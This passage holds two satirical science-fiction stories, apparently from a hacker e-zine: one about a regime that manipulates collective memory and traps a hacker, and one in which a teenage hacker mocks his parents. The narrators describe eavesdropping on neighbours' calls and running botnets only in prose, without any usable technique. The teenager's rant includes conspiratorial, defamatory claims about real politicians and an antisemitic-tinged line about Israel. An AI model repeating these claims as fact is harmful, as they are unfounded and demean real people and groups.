pretending to have thoughtful conversations about the old days. Coffee
shops came back into vogue. Lingering became fashionable again. Earth had
long ago decided to back down when the Martians declared independence, so
it wasn't that. It was the spectacle of the elderly strutting their stuff
in a victory parade that stretched from Miami Beach to Biloxi that imaged a
future we could not abide.
Even before the march, we were working on solving the problem. Let
them win the battle. Martians winning independence, old folks feeling their
oats, those weren't the issues. How policy was determined was the issue.
Our long-term strategy focused on winning that war.
Beyond the Chomsky Chutes
The first thing we did was review the efficacy of Chomsky Chutes.
Chomsky Chutes are the various means by which current events are
dumped into the memory hole, never to be remembered again. Intentional
forgetting is an art. We used distraction, misdirection - massive, minimal
and everything in-between, truth-in-lie-embedding, lie-in-truth-embedding,
bogus fronts and false organizations (physical, simulated, live and on the
Net). We created events wholesale (which some call short-term memory
crowding, a species of buffer overflow), generated fads, fashions and
movements sustained by concepts that changed the context of debate. Over in
the entertainment wing, the most potent wing of the military-industrial-
educational-entertainment complex, we invented false people, characters
with made-up life stories in simulated communities more real to the Hump
than family or friends. We revised historical antecedents or replaced them
entirely with narratives you could track through several centuries of
buried made-up clues. We sponsored scholars to pursue those clues and
published their works and turned them into minipics. Some won Nobel Prizes.
We invented Net discussion groups and took all sides, injecting half-true
details into the discourse, just enough to bend the light. We excelled in
the parallax view. We perfected the Gary Webb Gambit, using attacks by
respectable media giants on independent dissenters, taking issue with
things they never said, thus changing the terms of the argument and
destroying their credibility. We created dummy dupes, substitute generals
and politicians and dictators that looked like the originals in videos,
newscasts, on the Net, in covertly distributed underground snaps, many of
them pornographic. We created simulated humans and sent them out to play
among their more real cousins. We used holographic projections,
multispectral camouflage, simulated environments and many other stratagems.
The toolbox of deception is bottomless and if anyone challenged us, we
called them a conspiracy theorist and leaked details of their personal
lives. It's pretty tough to be taken seriously when your words are
juxtaposed with a picture of you sucking some prostitute's toes. Through
all this we supported and often invented opposition groups because
discordant voices, woven like a counterpoint into a fugue, showed the world
that democracy worked. Meanwhile we used those groups to gather names,
filling cells first in databases, then in Guantanamo camps.
Chomsky Chutes worked well when the management of perception was at
top-level, the level of concepts. They worked perfectly before chemicals,
genetic-enhancements and bodymods had become ubiquitous. Then the balance
tipped toward chemicals (both ingested and inside-engineered) and we saw
that macro strategies that addressed only the conceptual level let too many
percepts slip inside. Those percepts swim around like sperm and pattern
into memories; when memories are spread through peer-to-peer nets, the
effect can be devastating. It counters everything we do at the macro level
and creates a subjective field of interpretation that resists
socialization, a cognitively dissonant realm that's like an itch you can't
scratch, a shadow world where "truths" as they call them are exchanged on
the Black Market. Those truths can be woven together to create alternative
realities. The only alternative realities we want out there are ones we
create ourselves.
We saw that we needed to manage perception as well as conception.
Given that implants, enhancements, and mods were altering human identity
through everyday life - routine medical procedures, prenatal and geriatric
care, plastic surgery, eye ear nose throat and dental work, all kinds of
pharmacopsychotherapies - we saw the road we had to take. We needed to
change the brain and its secondary systems so that percepts would filter in
and filter out as we preferred. Percepts - not all, but enough - would be
pre-configured to model or not model images consistent with society's
goals.
Using our expertise in enterprise system programming and management,
we correlated subtle changes in biochemistry and nanophysiology to a macro
plan calibrated to statistical parameters of happiness in the Hump. Keeping
society inside those "happy brackets" became our priority.
So long as changes are incremental, people don't notice. Take
corrective lenses, for example. People think that what they see through
lenses is what's "real" and are trained to call what their eyes see
naturally (if they are myopic, for example) a blur. In fact, it's the other
way around. The eyes see what's natural and the lenses create a simulation.
Over time people think that percepts mediated by technological enhancements
are "real" and what they experience without enhancements is distorted.
It's like that, only inside where it's invisible.
It was simply a matter of working not only on electromechanical
impulses of the heart, muscles, and so on as we already did or on altering
senses like hearing and sight as we already did or on implanting devices
that assisted locomotion, digestion, and elimination as we already did but
of working directly as well on the electrochemical wetware called the
memory skein or membrane, that vast complex network of hormonal systems and
firing neurons where memories and therefore identity reside. Memories are
merely points of reference, after all, for who we think we are and
therefore how we frame ourselves as possibilities for action. All
individuals have mythic histories and collective memories are nothing but
shared myths. Determining those points of reference determines what is
thinkable at every level of society's mind.
Most of the trial and error work had been done by evolution. Our task
was to infer which paths had been taken and why, then replicate them for
our own ends.
Short term memory, for example, is wiped out when a crisis occurs.
Apparently whatever is happening in a bland sort of ho-hum way when a tiger
attacks is of little relevance to survival. But reacting to the crisis is
important, so we ported that awareness to the realm of the body politic.
Everyday life has its minor crises but pretty much just perks along. We
adjusted our sensors to alert us earlier when the Hump was paying too much
attention to some event that might achieve momentum or critical mass; then
we could release that tiger, so to speak, creating a crisis that got the
adrenalin pumping and wiped out whatever the Hump had been thinking. After
the crisis passed - and it always did, usually with a minimal loss of life
- the Hump never gave a thought to what had been in the forefront of its
mind a moment before.
Once the average lifespan reached a couple of hundred years, much of
what people remembered was irrelevant or detrimental. Who cared if there
had been famine or drought a hundred and fifty years earlier? Nobody! Who
cared if a war had claimed a million lives in Botswana or Tajikistan
(actually, the figure in both cases was closer to two million)? Nobody!
What did it matter to survivors what had caused catastrophic events? It
didn't. And besides, the military-industrial-educational-entertainment
establishment was such a seamless weld of collusion and mutual self-
interest that what was really going on was never exposed to the light of
day anyway. The media, the fifth column inside the MIEE complex, filtered
out much more than was filtered in, by design. Even when people thought
they were "informed," they didn't know what they were talking about.
See, that's the point. People fed factoids and distortions don't know
what they're talking about anyway, so why shouldn't inputs and outputs be
managed more precisely? Why leave anything to chance when it can be
designed? We knew we couldn't design everything but we could design the
subjective field in which people lived and that would take care of the
rest. That would determine what questions could be asked which in turn
would make the answers irrelevant. We had to manage the entire enterprise
from end to end.
Now, this is the part I love, because I was in on the planning from
the beginning. We remove almost nothing from the memory of the collective!
But we and we alone know where everything is stored! Do you get it? Let me
repeat. Almost all of the actual memories of the collective, the whole
herdlike Hump, are distributed throughout the population, but because they
are staggered, arranged in niches that constitute multisided life, and news
is managed down to the level of perception itself, the people who have the
relevant modules never plug into one another! They never talk to each
other, don't you see! Each niche lives in its own deep hole and even when
they find gold nuggets they don't show them to anybody. If they did, they
could reconstruct the original narrative in its entirety, but they don't
even know that!
Isn't that elegant? Isn't that a sublime way to handle whiny neo-
liberals who object to destroying fundamental elements of collective
memory? We can show them how it's all there but distributed by the
sixtysixfish algorithm. That algorithm, the programs that make sense of its
complex operations, and the keys to the crypto are all in the hands of the
Masters.
I love it! Each Humpling has memory modules inserted into its
wetware, calibrated to macro conceptions that govern the thinking and
actions of the body politic. Because they don't know what they're missing,
they don't know what they're missing. We leave intact the well-distributed
peasant gene that distrusts strangers, changes, and new ideas, so if some
self-appointed liberator tries to tell them how it works, they snarl or
remain sullen or lower their eyes or eat too much or get drunk until they
forget why they were angry.
At the same time, we design a memory web that weaves people into
communities that cohere, spun through vast amounts of disconnected data.
Compartmentalization handles all the rest. The Hump is overloaded with
memories, images, ideas, all to no purpose. We keep fads moving, quick
quick quick, and we keep the Hump as gratified and happy as a pig in its
own defecation.
MemoRacer, Master Hacker
Of course, there are misfits, antisocial criminals and hackers who
want to reconstitute the past. We devised an ingenious way to manage them
too. We let them have exactly what they think they want.
MemoRacer comes to mind when we talk about hackers. MemoRacer flipped
through niches like an asteroid through the zero-energy of space. He lived
in a niche long enough to learn the parameters by which the nichelings
thought and acted. Then he became invisible, dissolving into the
background. When he grew bored or had learned enough, he flipped to the
next niche or backtracked, sometimes living in multiple niches and changing
points of reference on the fly. He was slippery and smart, but he had an
ego and we knew that would be his downfall.
The more he learned, the more isolated he became. The more he
understood, the less he could relate to those who didn't. Understand too
much, you grow unhappy on that bench listening to your neighbors' prattle.
It becomes irritating. MemoRacer and his kind think complexity is
exhilarating. They find differences stimulating and challenging. The Hump
doesn't think that way. Complexity is threatening to the Hump and
differences cause anxiety and discomfort. The Hump does not like anxiety
and discomfort.
MemoRacer (his real name was George Ruben, but no one remembers that)
learned in his flipping that history was more complex than anyone knew.
That was not merely because he amassed so many facts, storing them away on
holodisc and drum as trophies to be shown to other hackers, but because he
saw the links between them. He knew how to plug and play, leverage and
link, that was his genius. Because he didn't fit, he called for revolution,
crying out that "Memories want to be free!" I guess he meant by that vague
phrase that memories had a life of their own and wanted to link up somehow
and fulfill themselves by constituting a person or a society that knew who
it was. In a society that knows who it is precisely because it has no idea
who it is, that, Mister Master Hacker, is subversive.
Once MemoRacer issued his manifesto on behalf of historical
consciousness, he became a public enemy. We could not of course say that
his desire to restore the memory of humankind was a crime. Technically, it
wasn't. His crime was undermining the basis of transplanetary life in the
twenty first century. His crime was disturbing the peace.
He covered his tracks well. MemoRacer blended into so many niches so
well that each one thought he belonged. But covering your tracks ninety-
nine times isn't enough. It's the hundredth time, that one little slip,
that tells us who and where you are.
MemoRacer grew tired and forgetful despite using more Perkup than a
waking-state addict - as we expected. The beneficial effects of Perkup
degrade over time. It was designed that way so no one could be aware
forever. That was the failsafe mechanism pharms had agreed to build in as a
back door. All we had to do was wait.
The niche in which he slipped up was the twenty-third business
clique. This group of successful low-level managers and small manufacturers
were not particularly creative but they worked long hours and made good
money. MemoRacer forgot that their lack of interest in ideas, offbeat
thinking, was part of their psychic bedrock. Their entertainment consisted
of golf, eating, drinking, sometimes sex, then golf again. They bought
their fair share of useless goods to keep society humming along, consumed
huge quantities of resources to build amusement parks, golf courses, homes
with designer shrubs and trees. In short, they were good citizens. But they
had little interest in revolutionary ideas and George Ruben, excuse me,
MemoRacer forgot that during one critical conversation. He was tired, as I
said, and did not realize it. He had a couple of drinks at the club and
began declaiming how the entire history of the twentieth century had been
stolen from its inhabitants by masters of propaganda, PR, and the national
security state. The key details that provided context were hidden or lost,
he said. That's how he talked at the nineteenth hole of the Twenty-Third
Club! trying to get them all stirred up about something that had happened a
century earlier. Even if it was true, who cared? They didn't. What were
they supposed to do about it? MemoRacer should have known that long delays
in disclosure neutralize even the most shocking revelations and render
outrage impotent. People don't like being made to feel uncomfortable at
their contradictions. People have killed for less.
One of the Twenty Third complained about his rant to the Club
Manager. He did so over a holophone. Our program, alert for anomalies,
caught it. The next day our people were at the Club, better disguised than
MemoRacer would ever be, observing protocols - i.e. saying nothing
controversial, drinking too much, and insinuating sly derogatory things
about racial and religious minorities - and learned what they needed to
know. They scraped the young man's DNA from the chair in which he had been
sitting and broadcast the pattern on the Net. Genetic markers were scooped
up routinely the next day and when he left fingerskin on a lamp-post around
which he swung in too-tired up-too-long jubilation (short-lived, I can tell
you) in the seventy-seven Computer Club niche, he was flagged. When he left
the meeting, acting like one of the geeky guys, our people were waiting.
We do this for a living, George. We are not amateurs.
MemoRacer taught us how to handle hackers. He wanted to live in the
past, did he? Well, that's where he was allowed to live - forever.
Chemicals and implants worked their magic, making him incapable of
living in the present. When he tried to focus on what was right in front of
his eyes, he couldn't see it. That meant that he sounded like a blithering
idiot when he tried to speak with people who lived exclusively in the
present. MemoRacer lived in a vast tapestry of historical understanding
that he couldn't connect in any meaningful way to the present or the lived
experience of people around him.
There is an entire niche now of apprehended hackers living in the
historical past and exchanging data but unable to relate to contemporary
niches. It's a living hell because they are immensely knowledgeable but
supremely impotent and know it. They teach seminars at community centers
which we support as evidence of our benevolence and how wrong they are to
hate us.
You want to know about the past? By all means! There's a seminar
starting tomorrow, I say, scanning my planner. What's your interest? What
do you want to explore? Twentieth century Chicago killers? Herbal medicine
during the Ming Dynasty? Competitive intelligence in Dotcom Days? Pick
your poison!
And when they leave the seminar room, vague facts tumbling over one
another in a chaotic flow to nowhere, they can't connect anything they have
heard to their lives.
So everybody pretty much has what they want or at least what they
need, using the benchmarks we have established as the correct measures for
society. The Hump is relatively happy. The dregs skulk about as reminders
of a mythic history we have invented that everyone fears. People perceive
and conceive of things in helpful and useful ways and act accordingly. And
when we uplink to nets around all the planets and orbiting colonies,
calling the roll on every niche in the known universe, it always comes out
right. Everybody is present. Everybody is always present.
Just the way we like it.
# # # # #
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
The Geometry of Near
By
Richard Thieme
It's nobody's fault. Honest. It's just how it is.
The future came earlier than expected. They kicked it around for
years but never knew what they had. By the time they realized what it was,
it was already broken. Broken open, I should say. Even then, looking at the
pieces of the egg and wondering where the bird had flown, they didn't know
how to say what it was. The words they might have used had broken too.
Now it's too late. The future is past.
It was too far. They can't see far. They can only see near.
Me and my friends, we see far, but we see near, too. It's linking
near and far in fractal spirals that makes a multi-dimensional parallax
view, providing perspective. It's not that we have better brains than our
Moms and Pops, but hey, we were created in the image of the net and we know
it. They live it, everybody has to live it now, but they still don't know
it.
Look at my Mom and Pop on a Thursday night in the family room. You'll
see what I mean.
They are sitting in front of the big screen digital television set
watching a sitcom. The program is "Friends." Mom calls the six kids, the
six young people excuse me, "our friends." They've been watching the show
for years and know the characters better than any of the neighbors. The
only reason they know the neighbors at all is because I programmed a
scanner to pick up their calls. At first they said, how terrible, don't you
do that. Then they said, what did she say? Did she really say that? Then
they left it on, listening to cell calls from all over the city, drug deals
("I'm at the ATM, come get your stuff"), sex chat ("I'm sitting at your
desk, my feet on the edge, touching myself"), trivia mostly, and once in a
while the life of a house down the street broadcasting itself through a
baby monitor.
The way they reacted to that, the discovery that walls aren't walls
anymore, reminded me of a night when I told some kids it was time to feed a
live mouse to Kurtz, my boa constrictor. Oh, how horrible! they cried. Oh,
I can't watch! Then they lined up at the tank, setting up folding chairs to
be sure they could see the mouse trembling, the sudden strike, the big
squeeze. They gaped as the hingeless jaw dropped and Kurtz swallowed the
dead mouse. They waited for the tip of its tail to disappear into his mouth
before getting up saying yuuuchhh! That's gross!
People in the neighborhood only became real to Mom and Pop when I
made them digital, don't you see, when I put them on reality radio. Only
when I turned the neighbors into sitcom characters did Mom and Pop have a
clue. When they hacked the system in other words.
That's what hacking is, see. It's not hunching over your glowing
monitor in your bedroom at three in the morning cackling like Beavus or
Butthead while you break into a bank account - although sometimes it is
that too - it's more of a trip into the tunnels into the sewers into the
walls where the wires run and the pipes and you can see how things work.
It's hitting a wall and figuring out how to move through it. How to become
invisible, how to use magic. How to cut the knot, solve the puzzle, move to
the next level of the game. It's seeing how shit we dump relates to people
who think they don't dump shit and live as if. It's seeing how it all fits
together.
"Our friends." Said as if she means it. I mean, is that pathetic or
what?
The theme music is too loud as they sink down in overstuffed chairs
and turn the volume even higher with a remote I had to program so they
could use it. Their lives seldom deviate more than a few inches from the
family room. Put the point of a compass down on the set and you can draw a
little circle that circumscribes their lives. Everything they know is
inside that circle. Two dimensions, flat on its back.
The geometry of near.
Those are my friends, Mom says with a laugh for the umpteenth time.
The commercial dissolves and expectations settle onto the family room like
the rustling wings of twilight. The acting is always overdone, they mug and
posture too much, the laugh tracks are too loud. The characters say three,
maybe four hundred words in half an hour, barely enough to hand in to an
English teacher on a theme, but more than enough to build a tiny world like
a doll's house inside a million heads. Those scripted words and intentional
gestures sketch out the walls of houses, the edges of suburban lots, the
city limits of their lives, all inside their heads. Hypnotized, they stare
at the screen for hours, downloading near vistas, thinking they have a
clue.
In family rooms all over the world, drapes closed and lights low,
people sit there scratching while they watch, most eat or drink something,
and some masturbate. Some get off on Rachel, some Monica. Gays like Joey.
Bloat-fetishists go for Chandler. I don't know who gets off on Ross. I do
know, though, that all over the world there are rooms smelling of pizza,
beer and semen. Some clean up the food they spill before the show is over
and some leave it. Some come into a napkin and ball it up and put it on a
table until a commercial but some take it straight to the garbage and wash
their hands on the way back. Funny. They beat off to a fantasy character as
sketchy as a cartoon but wash their hands before coming back from the
commercial. After sitting there for all those hours, they ought to wash out
their souls with soap, not their hands.
Everybody masturbates, actually. That's what it means to watch these
shows. People get off on a fantasy and pretend the emptiness fills them up
so they do it again. And again.
Who writes these scripts, anyway? People who have lost their souls,
obviously. These people have no self. They put it down somewhere then
forgot where they put it. They are seriously diminished humans.
But hey, this is not a rant about people who sell their souls. That's
true of everybody who lives in a world of simulations and doesn't know it.
Those who know it are masters, their hands on the switches that control the
flow of energy and information. Those gates create or negate meaning,
modify or deny. Me and my friends we control the flow. The difference is
all in the knowing and knowing how.
But that's not what we were fighting about. We were fighting about
real things.
I just read an army paper some colonel wrote critiquing the army for
thinking backwards. Thinking hierarchically, he said, thinking in terms of
mechanistic warfare. The writer self-styling himself a modern insightful
thinker, Net-man, an apostle of netcentric warfare, a disciple of the
digerati.
It's always colonels, right? trying to get noticed. The wisdom of the
seminar room. Talk about masturbation. They write for the same journals
they read, it's one big circle jerk. They never call each other on their
shit, that's the deal, not on the real stuff, but they can't fool us all
the time. Just some of the people some.
It's funny, see, the colonel talks about hierarchies and nets but
this guy's obviously Hierarchy Man, he lives in a pyramid, he can't help
it. He has the fervor of a convert who suddenly saw the blinding light, saw
that he had been living in the near, but all he can do is add on, not
transform. An extra bedroom, a new bathroom, is not a new floorplan. The
guy is excited, sure, he had a vision that blew his mind, but he thought
that meant he could live there and he can't. Seeing may be believing but
that's about all. The future is past, like I said. The evidence is guys
like that writing stuff like that. Those of us who have lived here all of
our lives, who never lived anywhere else, we can see that. He's a mummy
inside a pyramid looking out through a chink in a sealed tomb. That's why
we laugh, because he can't see himself trailing bandages through the dusty
corridors. New converts always look funny to people who live on the distant
shore where they just arrived, shipwrecked sailors ecstatic to feel the
sand under their feet. They think it's bedrock but it's quicksand..
Here's an example. Go downstairs and go into the kitchen where
another television set records the President's speech. (I had to show them
how to do that too.)
When we watch it together later, I point out that it's not really the
president, not really a person, it's only an image in pixels, a digital
head speeching in that strange jerky way he has so when you try to connect,
you can't. You think you get the beat but then there's a pause, then a
quick beat makes you stumble trying to synchronize. It's how his brain
misfires, I think. I think he did that doing drugs, maybe drinking. He was
in and out of rehab and who the hell knows what he did to himself. Of
course the Clintons did coke and all kinds of shit. Anyway he is talking to
people who are eating and drinking and masturbating, not even knowing it,
hands alive and mobile in their pockets, getting off on his projected power
and authority. He talks about "our country" and I laugh. Pop shoots me a
glare because he doesn't have a clue. Pop thinks he lives in a country.
Because the prez keeps saying "our country" and "this nation" and shit like
that. But countries are over. Countries ended long ago. This president or
his dad made money from oil or wherever else they put money to make money.
Millions of it, more than enough to keep the whole family in office for
generations. They have this veneer of patricians but their hands are
dripping with blood. His grand-dad too, look it up. They taught evil people
how to torture, kill, terrorize, but they wear this patrician veneer and
drip with self- righteousness, always talking about religion. It is so
dishonorable. Yet this semi-literate lamer, this poser, we honor, his
father the chief of the secret police, his brother running his own state,
this brain-damaged man who can't connect with himself or anyone else, his
words spastic like bad animation out of synch with that smug smirk, this
man we honor? Give me a fucking break.
Anyway, he isn't really there, it's all pixels, that's the point. The
same people who made "Friends" and made that mythical neighborhood bar and
made that mythical house on the mythical prairie created him too out of
whole cloth. So people sit there and scratch, eat drink and masturbate,
getting off on the unseen artifice of it all. And these people they have
made, these people who project power, they all have their own armies, see,
they have their own security forces, their own intelligence networks. They
have to because countries ended and they realized that those who are like
countries, forgive me, like countries used to be, now must act like
countries used to act. They have their own banks and they even have their
own simulated countries. Some Arabs bought Afghanistan, the Russian mafia
bought Sierra Leone, they own Israel too, can I say that without being
called an anti-Semite? These people in their clouds of power allow
countries to pretend to exist and download simulations of countries into
the heads of masturbating scratchers because it works better to have
zombies. So people who think they live in countries can relate to what they
think are countries inside their heads. Zombies thinking they are "citizens
of countries" because they can't think anything else, because they live
inside the walls of the doll's house in their heads. "I am a citizen of
this country," says the zombie, feeling safe and snug inside a non-existent
house in the non-space of his programmed brain. All right then, where is
it? The zombie says here, there, pointing to the air like grandma after
surgery pointed to hallucinations, telling them to get her a glass of
water, telling them to sit down and stop making her nervous. It's all
dribble-glass stuff, zombies in Newtonian space that ended long ago; they
stare through the glass at the quantum cloud-cuckoo land the rest of us
live in, calling it the future. Mistaking space for time the way that
colonel inside his pyramid thinks he's net-man.
People who live in clouds of power live behind tall walls, taller
than you can imagine. We never really see what's behind those walls.
Zombies never climb those walls because of the private armies. Their
"security forces" would have a zombie locked up in a heartbeat if he tried.
On the network when we take over thousands of machines and load
trojans letting them sit there until we are ready to use them in a massive
attack, we call them zombies. The zombies are unaware what is happening to
them. We bring them to life and they rise from their graves and march.
Those are our clouds of power, tit for tat. Mastering the masters.
Meanwhile Moms and Pops sit in their chairs not knowing that trojans
are being downloaded into their brains. The code is elegant, tight, fast.
Between the medium in which the code is embedded and the television or
network that turns it into illusions of real people, real situations, the
sleight of hand is so elegant, enticing bird-like Moms and Pops into
digital cages. The when they move the cages, the birds move too. They give
the birds enough room to flap their wings so they think they're free.
This is what it looks like.
Jerome K. Dumbass, say, a zombie with one third of a clue, decides
to eliminate a CEO who made him lose his house, his job, all his stock
options. The buyer did not know how to beware any more than zombies know
how to avoid the download. The guy was sucked into the force field of greed
while the CEO stashed his loot in a house he could keep. Pays the people to
make laws to let him keep a huge house that no one can take even after his
term in a country club. Dumbass wants to kill the CEO which is entirely
understandable. So he climbs the wall and drops down onto the other side,
twisting his ankle.
The circuit breaks the minute he touches the wall, cameras swing into
action, pick him up before he can say "Ow!" Dogs bark and come closer,
baying and barking. Camera zooms. A close-up shows his face twisted with
pain. Then fear. Dumbass drags his game leg after him, dogs bay and bark
closer, louder now. Jeezus! his stupid face says as he hobbles through
flowers and shrubs some of them cameras some of them alarms into the arms
of waiting goons. The goons are bigger than pro tackles - excuse me, I'm
explaining one simulation in terms of another. How foolish is that? But
that's what we do, use words to explain words, simulations explaining same.
You don't know a single linebacker do you? But you think of them as your
friends, too, don't you? Anyway, a thug grabs Dumbass by the belt, twisting
his belt and pants in his hand, his other hand crimping the back of his
neck like a robot's claw. Dumbass cries out but there's no one to hear.
Everyone is busy scratching and eating and drinking and masturbating to the
dreamtime rhythm of the night.
They drag him into a room behind the cabanas along the landscaped
pools and Jacuzzis. It's dark in there. They throw him against the wall and
he bounces off and lies in the scatter and dirt. Looks up and sees a boot
coming. That's that. Out he goes.
He comes around in a minute, dizzy, in pain, blood from his broken
nose on his shirt. Whomp! The goon's hand slaps him, then backhands him,
winds up for a forehand and whacks him back to center. "Stop!" he screams
but instead the thug just whacks him back and forth like a bobblehead,
wanting him to understand the foolishness of his indiscretion, don't you
see. Imposing power on the dumbass on behalf of his master. So Dumbass can
internalize the experience, feel utterly powerless, spread the word. Tell
your buddies that you do not climb - whack! - that - whack! - wall.
Somewhere in his twinkie brain it dawns on him that no one knows he
is here. Sure, they call the "real" cops after a while, but these guys are
real enough, mugging him in the toolshed. No one knows he is here and
wouldn't care if they did. The so-called news shows handle that, turning
Dumbass into the Other. Everybody cheers as they beat his brains out. Then
the "real" police come and take over, beating him up in the van on the way
to the station, having fun as long as the ride takes, bouncing him off the
walls.
Now, this is my point: the armies that this man has, this man whose
face you have not even seen, you never do see, you only see manifestations
of clouds of power, this man's armies are created in the image of the net.
Once we no longer had countries but only the pretense of countries, those
who inhabited clouds of power took the game to the next level. These armies
are simply not seen. They are hidden in the faux shrubs designed to
distract us. When boundaries dissolved, clouds of power emerged all over
the world. They are accountable only to themselves, i.e. not. Clouds are
not countries, clouds are water vapor condensing, as visible and
insubstantial as mist. We too are mist but we believe in our shapes as they
change. The clouds in a way are not there, really. Except they are. But try
to tell that to a zombie, tell them they live in a cloud and see what they
say.
Now take this entire scenario and blow it up. Imagine a country with
borders drawn in black. Then imagine a mouth blowing a pink bubble and the
bubble bursting obliterating borders and then there's a pink cloud instead
of the little wooden shapes of states or countries they used to play with
when they were kids. Bubblegum splatters all over the world creating cloud-
places that have no names. They are place markers until names are invented.
These are the shapes kids play with now, internalizing the difference.
Try telling that to zombies, though. They sit there listening as
sitcoms and so-called reality shows and faux news put them into a deep
sleep. Images of unreality filter into their brains and define their lives.
Tiny images, seen near, seem big. Seem almost lifelike. Inside these
miniature worlds, Moms and Pops believe they are far-seeing, thinking they
think. Because they are told that near is far and little is big and so it
is.
Back to the example. Dumbass is done getting beaten up in the shed
behind the bougainvillea and hibiscus. Let's press that a little. That's
what neighborhoods have become, whole used-to-be-called countries. That's
what societies have become, entire civilizations. Do you see, now? The map
in your head is a game board intended to replace reality, not a meaningful
map, it gives you manageable borders within which you watch and act in the
sitcom of your life, playing a role in a script written for other purposes
entirely.
That's why when you open your mouth, one of those times you wake up
long enough to talk about something you think is real, anyone who has a
clue laughs. It isn't personal, but it can't be helped. People who have a
clue laugh. We try to suppress it but a little titter becomes a giggle and
then a blast that explodes before you finish your first sentence.
That's what the fight was about. It wasn't personal.
See we see how silly it is, the way you think, what you think is
real. The only difference between our seeming rudeness and the compassion
of Buddhists who also see clearly is that somehow compassion did not
download from the net but the seeing did. We see what's so but without much
feeling. Certainly without much empathy. If we have too much empathy, it
sucks us in and then we're sunk. Besides, you're zombies. Zombies are not
real human beings. In the scripts they have written you do the same things
over and over again like a Marx Brothers movie. The script is boring and
predictable. That's how it manages so many people so well but that's also
what we think is funny. When you play out your roles without even knowing
it, naturally, we laugh.
It's not personal! Honest!
When I was twelve I ran a line out to the telephone cable behind the
house. I listened to the neighbors talk mostly about nothing until the
telephone company and a cop dropped by. I pleaded stupidity and youth and
Pop gave me a talk and I nodded and said yeah, right, never again. Those
were the good old days when hacking and phreaking were novelties and
penalties for kids were a slap on the wrist.
My favorite telephone sitcom was "The Chiropractor's Wife." That
woman she lived around the corner and lowered the narrowness bar beyond
belief. You see her on the street with her kids or walking that damned huge
dog of theirs, you wouldn't know it. She looked normal. On good days she
looked good even with her blonde hair down on her shoulders, smiling hello.
Still, she raised oblivious to the level of an art form.
I guess she was terrified. Her life consisted of barely coping with
two kids who were four and six I think and serving on a committee or two at
school like for making decorations for a Halloween party. Other than that,
near as I could tell, she talked to her mother and made dinner for the
pseudo-doc. Talked to her mother every day, sometimes for hours.
The conversation was often interrupted by long pauses. Well, the wife
would say. Then her mother would say, well. Then there might be silence for
twenty seconds. I am not exaggerating, I clocked it. Twenty-four seconds
was their personal best. That might not sound like much but in a telephone
conversation, it's eternity. Then they would go back over the same
territory. They were like prisoners walking back and forth in a shared
cell, saying the same things over and over. I guess it was mostly the need
to talk no matter what, drawing the same circles on a little pad of paper.
I imagined the wife making those circles on a doodle pad in different
colors and that's when I realized that people around me lived by a
different geometry entirely. How the landscape looks is determined by how
you measure distance. How far to the horizon. That's when I began to invent
theorems for a geometry of near.
Example.
Here in Wolf Cove there is the absolute silence of shuttered life.
The only noise we hear is traffic from the freeway far over the trees. We
have lots of trees, ravines, some little lakes. That's what it is, trees
and ravines and houses among the trees. That sound of distant traffic is
like holding a seashell up to your ear. It's the closest we come to having
an ocean. No one can park on the street so a car that parks is suspect. The
cops know everyone by sight so anyone different is stopped. The point I am
making is, Wolf Cove encloses trees and lakes and houses with gates of
silence, making it seem safe, but in fact it has the opposite effect. It
creates fear that is bone deep. It's like a gated community with real iron
gates and a rent-a-cop. It makes people inside afraid of what's outside so
no one wants to leave. It's like we built an electric fence like the kinds
that keep dogs inside except we're the dogs.
One day there was a carjacking at a mall ten miles away. Two guys did
it who looked like someone called central casting and said hey, send us a
couple of mean-looking carjacker types. They held a gun on a gray lady
driving a Lexus and left her hysterical in the parking lot. I knew the
telephone sitcom was bound to be good so I listened in on the wife and her
hold-me mother.
They talked for more than two hours, the wife saying how afraid she
was she wouldn't get decorations done for the Halloween party at the
school. She almost cried a couple of times, she was that close to breaking,
just taking care of a couple of kids and making streamers and a pumpkin
pie. But every now and again she said how afraid she was they'd take her
SUV at gunpoint next time she went shopping. The television had done its
job of keeping her frightened, downloading images of terrified victims
morning noon and night. Fear makes people manageable.
Finally the wife said, maybe we ought to move. I couldn't believe my
ears. I mean, she lived in Wolf Cove inside an electric fence, so where the
hell would she go? Her fears loomed in shadows on the screen of the world
like ghosts and ghouls at that Halloween party. Everywhere she looked, she
saw danger. Wherever there was a door instead of a wall, she felt a draft,
an icy chill, imagining it opening. She got out of bed and checked the
locks when everyone else was asleep. Once she had to go get something on
the other side of town and you would have thought she was going to the
moon. She went over the route on a map with her mother. Did she turn here?
Or here? She had a cell phone fully charged - she checked it twice - and a
full tank of gas, just in case. Just in case of what? So I wasn't surprised
when she said after the carjack that maybe they ought to move to Port
Harbor, ten miles north. Then her mother said, well. Then the wife said
well and then there was silence. I think I held my breath, sitting in my
bedroom listening through headphones. Then her mother said, well, you would
still have to shop somewhere.
Oh, the wife said. I hadn't thought of that.
The geometry of near.
So many people live inside those little circles, more here than most
places. I live on the net, I live online, I live out there. I keep the
bedroom door shut but the mindspace I inhabit is the whole world.
When I was eleven I found channels where I learned so much just
listening. I kept my mouth shut until I knew who was who, who was a lamer
shooting off his mouth and who had a clue. Then somebody asked a question I
knew and I answered politely and they let me in. I wasn't a lurker any
longer, but I took it easy, asking questions but not too many. I stayed up
late at Border's and other midnight bookstores, aisles cluttered with open
O'Reilly books, figuring out what I could before I asked. You have to do
the homework and you have to show respect. Once they let me in, I helped
guys on rungs below. I was pretty good at certain systems, certain kinds of
PBX, and posted voice mail trophies that were a hoot. Some came from huge
companies that couldn't secure their ass with a cork. The clips gave the
lie to their PR, showing what bullshit it was. So everybody on the channel
knew but had the good sense not to say, not let anybody know. That would be
like leaning over a banister and asking the Feds to fuck us please in the
ass.
So I learned how to live on the grid. I mapped it inside my head,
constantly recreating images of the flows, shadows in my brain creating a
shadow self at the same time. The shadow self became my self except I could
see it and knew how to use it.
It wasn't hacking the little systems, don't you see, the boxes or the
telephones, it was the Big System with a capital B and a capital S. Hacking
a system means hacking the mind that makes it. It's not just code, it's the
coder. The code is a shadow of the coder's mind. That's what you're
hacking. You see how code relates to the coder, shit, you understand
everything.
Anyway, Mom and Pop were talking one night and Mom said she had seen
the Bradley's out on their patio. They were staring down at the old bricks,
thinking about redoing it. It meant rearranging shrubs and maybe putting
it some flowers and ground cover. It sounded like big deal, the way they
talked about it, making this little change sound like the Russian
Revolution. It was like the time the Adams built a breakfast nook, you
would have thought they had terraformed a planet.
So Mom said to Virginia Bradley, how long have you been in this house
now? as long as we have? Oh no, Virginia said. We've been here thirteen
years. Oh, Mom said We've been fifteen. But then, Virginia said, we only
